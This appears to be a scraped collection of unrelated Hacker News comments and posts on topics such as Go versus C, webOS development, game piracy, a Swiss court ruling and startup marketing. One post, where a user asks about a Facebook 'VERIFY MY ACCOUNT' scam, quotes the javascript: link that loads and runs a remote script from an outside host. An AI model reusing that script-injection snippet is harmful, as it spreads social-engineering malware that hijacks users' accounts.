Alas, it's still under development, several weeks away from release at best.

The biggest reason it feels native is that I'm attempting very little imitation of the iOS interface chrome. Other than a menu bar at the top and some text boxes as needed, everything is touchable graphics. It doesn't look or act anything like a web page; for instance, the click "shadow" never appears, and you can't scroll the page out of bounds (although there's a WebKit input box bug with that, too).
I can always tell when a site has gone past the point of no return when comments like this are simply downvoted to oblivion. If you disagree state why.

but whatever, I always call these things. Internet communities refuse to be elitist about quality because they 1. believe in democracy and 2. are made up people who like to be inclusive because they were excluded as kids.

If the title was "Could Go be used instead of C for a great many applications?" then the author would stand a chance at making a point. However, asking whether Go can "replace" C shows a deep misunderstanding of why people still use C: to do the type of stuff that a safe, typed and garbage collected language won't let you. Need to poke hardware? Need to use efficient memory layouts for your data structures that confound non-dependent type systems? Need exact control over generated code to achieve competitive performance? (And, apparently for Go's case) need to handle OOM conditions? (The "some systems don't even have malloc() return NULL on OOM" argument was particularly weak.) True, these things can be handled by C/C++ and called by Go through a FFI, but then C hasn't really been "replaced".

Really, the title should be "Can simple C programs be written in Go in about the same number of lines?" because that's all that was demonstrated.
If you talk about O(something(n)) run times there's an implicit agreement that you are talking about worst case behavior.

Holy smokes... Way too expensive! If you are gonna go on the "we aren't PayPal" then maybe you can get away with it, but really, wow! I have to go see if you are double or triple what we pay PayPal.

Whenever you read something that’s obviously stupid about legal matters you should assume that the messenger is to blame, especially when said messenger is unable to link to the publicly available and easily findable text of the opinion. (http://links.weblaw.ch/BVGer-A-7040/2009, German)

There are many places in this opinion where it is made very clear that the automatic process is not good enough and that additional diligence is necessary to protect the right of publicity of the photographed in a satisfactory way. Here is one example: „Vielmehr wären allfällige Persönlichkeitsverletzungen vermeidbar, würden aber einen finanziellen Mehraufwand für die Beklagten nach sich ziehen, weil sie die Bilder teilweise manuell unkenntlich machen müssten.“ (Violations of the right of publicity are avoidable but would lead to additional costs for the defendant because the photos would have to be manually blurred to some extent. This is in section 10.4.6. which considers the violations of the right of publicity and Google’s economic interests.)

By the way, this is not the Swiss authorities talking, this is a Swiss court.

This usually happens when you are working on something for long time and have achieved little or no success so far.

Achieving some successful results can bring a lot of motivation and positivity in your life.

I've been working with web2py for about 6 months. I was new to Python at the time and it seemed like a framework that could get me pretty far pretty fast. So far it's been fantastic.

I'm building a digital signage application. I'm using web2py on Apache for my serverside control panel/mobile management website. I'm also using web2py on the display side with it's built in webserver.

To tie everything together I'm primarily pushing around JSON via Beanstalk. All other management of the client ends is done via Fabric.
The author makes the quote:

> Whenever you find yourself starting a sentence with, "I don't want people to pirate my game, so I am going to ..." you are very close to making a big mistake.

Which is absolutely 100% correct. Because your goal shouldn't be preventing people from pirating your game. The number of people pirating your game is basically irrelevant. What matters is the number of people buying your game. Reducing piracy is only relevant if you're converting those pirates into paying customers - if you're not, then you haven't actually achieved anything.
> They seem to be making progress at massive change in the middle east (Libya, Eqypt, Syria, etc.). It's pretty inspiring how much strength there is in numbers. I'm not much of a leader, but I would always participate.

This is after 40 or so years of dictatorship in every single one of those countries; and peaceful previous attempts did not work (were mostly met with deadly force)

In the US, most people have the illusion that they are actually voting for THEIR representative, and thus it will take 400 years (not 40) until something will happen. Douglas Adams described this very well:

"Ford Prefect, of course, had an explanation for this, as he sat with Arthur and watched the nonstop frenetic news reports on television, none of which had anything to say other than to record that the thing had done this amount of damage which was valued at that amount of billions of pounds and had killed this totally other number of people, and then say it again, because the robot was doing nothing more than standing there, swaying very slightly, and emitting short incomprehensible error messages.

"It comes from a very ancient democracy, you see..."

"You mean, it comes from a world of lizards?"

"No," said Ford, who by this time was a little more rational and coherent than he had been, having finally had the coffee forced down him, "nothing so simple. Nothing anything like so straightforward. On its world, the people are people. The leaders are lizards. The people hate the lizards and the lizards rule the people."

"Odd," said Arthur, "I thought you said it was a democracy."

"I did," said Ford. "It is."

"So," said Arthur, hoping he wasn't sounding ridiculously obtuse, "why don't the people get rid of the lizards?"

"It honestly doesn't occur to them," said Ford. "They've all got the vote, so they all pretty much assume that the government they've voted in more or less approximates to the government they want."

"You mean they actually vote for the lizards?"

"Oh yes," said Ford with a shrug, "of course."

"But," said Arthur, going for the big one again, "why?"

"Because if they didn't vote for a lizard," said Ford, "the wrong lizard might get in. Got any gin?"

Ask HN: Oddly priced books on Amazon?
This post ( http://news.ycombinator.com/item?id=2475854 ) links to a story about algorithmic pricing gone wild, but this is different. I'm curious if anybody knows what is up with sellers who are offering thousands of "un-rare" titles for hundreds of dollars each. Here is an example of the latest seller I've come across ( http://www.amazon.com/gp/shops/storefront/index.html?ie=UTF8&marketplaceID=ATVPDKIKX0DER&sellerID=A1USRTSPLYQY0B ). Just type in a common word, like the or and, and you'll see hundreds to thousands of books priced at exactly $688 or $700.

An argument against specific, outrageously expensive regulations for an industry does not equate to an argument against contract law. Your argument is invalid.

You want to be working on current-gen hardware if you're baselining future development efforts at 2.x going forward.

What you don't want to be using as your sole dev/test unit is a two year-old device using an unofficial workaround to get an OS version installed that was never intended to be used on it.

It's fine if you want to support those people that decided to use the workaround by having one of these franken-units around as a secondary edge-case device to test on, but it should never be the only device you use to develop and test with. I have a 1Ghz overclocked Sprint Pre at 1.4.5 as my "daily driver" and another Sprint Pre I've upgraded to 2.0 for testing such cases.

Facebook's ==VERIFY MY ACCOUNT== virus
So I don't know much about security, and I don't know how widespread this is, but right now, I'm getting a bunch of friends posting to my wall something along the lines of:

Please do your part in PREVENTING SPAM by VERIFYING YOUR ACCOUNT. Click VERIFY MY ACCOUNT right next to comment below to begin the verification process...

And surprisingly, there is a link, right next to Like and Comment that says == VERIFY MY ACCOUNT == ...very authentic looking.

the "verify my account" link executes this bit of javascript: <a href="javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://pelorak.info/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();">==VERIFY MY ACCOUNT==</a>

which as you can see, executes this script: http://pelorak.info/verify.js

I don't know much about how this works, but is there anyone who can shed light on how this works and why it works?
This is a huge point. It really is. So many websites turn me off because they're not mobile friendly when I want to read them. At least this one is. I could go in and get exactly the information I needed, and without 400 redirects and page-reshapings for all the pictures that'd be displayed.

Disclaimer: I was not involved, but several people that were are friends. These friends did not inform my answer here, which is just my opinion based on many sources.

BubbleShare was a Toronto tech darling started by the always brilliant Albert Lai. They were WAY ahead of their time.

All I'm comfortable sharing here is that they received buyout Offer A, which Albert rejected in favour of doubling down for a better deal. Unfortunately fortune did not smile and BubbleShare ultimately accepted Offer B, which was significantly smaller than Offer A.

The site was sold to Kaboose, which is a Canadian family content company. As usually happens when startups are acquired, the key talent left (Albert started Kontagent) and innovation on the site halted.

I'm not an analyst, but these things usually distill down to "too early / too early / too late". I'm not sure that people were ever lining up to pay them money to use the service, and that might give you pause before going down the same road. Many products are cool but aren't solving a problem causing paying customers real pain.

Review my FB app: visualyf 
Hi all,
I released my first FB app quite a few weeks back. Although we are in the process of adding to the database, I just wanted to ask HNers whether you find something acutely wrong in the app. It could be on the UI front or any other blunder that you come across.
I am not disclosing the concept of the app, for a simple reason that I would like users to discover it intuitively.

WP7's suffering from its own developer adoption woes. The only problem with webOS' adoption, from my perspective as a webOS dev, has been marketing and hardware. Developing for webOS has been fun from Day One and continues to be nearly two years later.

The hardware part they look to have taken care of based on the Pre 3, Veer, and Touchpad I got to see and mess with back at their Dev Reception in February, and I'm pretty sure they have the money to market the product line now.
I like it. The same uber-minimalist concept, but a minimal but perhaps optimal set of smart additions [In order of importance, 1) description of services offered, 2) map link, 3) aesthetic fonts, colours, layout].
I thought Chrome was protecting me against Flash bugs running Flash in a sandbox. If so, this exploit needs to break through Chrome's sandbox and it seems legitimate to call it a Chrome exploit.

It's less broken, say, than Twitter, where many legacy non-#! links became redirects to #! links.

But the whole thing is like the thinking that "This site works best with IE 5.0" -and, naturally, is crippled for everyone else- is a reasonable approach to web design. And at least those sites warned us about what the pain they caused and why - this UI is more like visiting a Flash-only webpage in 1998.

Have these guys never heard of the noscript tag? No, wait: weirdly enough, Bret Victor actually uses the noscript tag to govern which CSS file is loaded. That is, no doubt, why the featureless black webpage I am presented with is so uniquely appealing a featureless black webpage.

Telling NotScripts to temporarily allow Javascript to look at the site shows a website with very nice graphic design and awful usability. Which is very much what I expected.

Javascript often offers the same usability experience as Flash. That's why I disable it by default.

> But have YOU read all the fine print when opening an account with your bank?

Yes. Paraphrased:

Bank agent: “You'll also have to sign this.” (Hands over a sheet of paper.)

Me: “Let's see here… […] ‘comply with the Deposit Agreement and Disclosure’. I need to see a copy of the Deposit Agreement and Disclosure, please.”

Agent: “Of course.” (Hands over a booklet.)

Me: “All right. Well, you may have to wait a bit…” (Starts leafing through the booklet. Cut to analog clock, then to clock fifteen minutes later.)

It was the same thing with signing up for public storage. “… ‘agrees to the Privacy Policy, which is incorporated by reference’. I don't seem to have a copy of the Privacy Policy here.” “Here you go,” and another sheaf of paper appears.

Note that in these cases I'm still basing my interpretation on a lot of contextual and cultural information, because while the alternative of trying to get them to lock down all the definitions separately would be amusing, it would fail. In many cases, every one of the relevant providers is in a position to drop me, whereas I'm reliant on at least one of them accepting me, so the power balance is tipped heavily in their favor.

Start with your current connections.

Attend the conferences of the industry you're in. Ideally, present/speak at them.

Blog about solutions for your industry if you can do it without coming across as spammy.

Keep an eye out for articles/blogs/etc on problems that your offering solves. Follow up with people directly about that and/or post to the blogs saying "we do this and here's why we're great". (If you do this, absolutely do disclose that you're self promoting.)

Find someone with industry experience and/or a rolodex. Pay them a decent commission.

Find the right search terms to drive people to your site and make sure you have a clear description of the problem the customer is facing, with simple glossy answers for how you can help them fix it.

If you have a business which doesn’t rely on the web to acquire customers a description is really only noise. (I also think that adding just one sentence or two wouldn’t turn this into a successful acquisition tool.)

The Pixi is nice as a form factor, but 1) it's incredibly old comparatively, and 2) will not officially run webOS 2.x, and especially 3.x.

There are two ways to get a giant pool of people using your payment system: start with payments and then get giant, or start with a giant pool of users and then add payments.

In the first case you'd have to start with a tiny, specialized payments market that you could then expand. The second case would be Facebook creating their own credit card system. Which they could probably do.

I'd recommend starting with a specialized payments market. That's how credit cards themselves got started. And you can't create Facebooks for the asking.
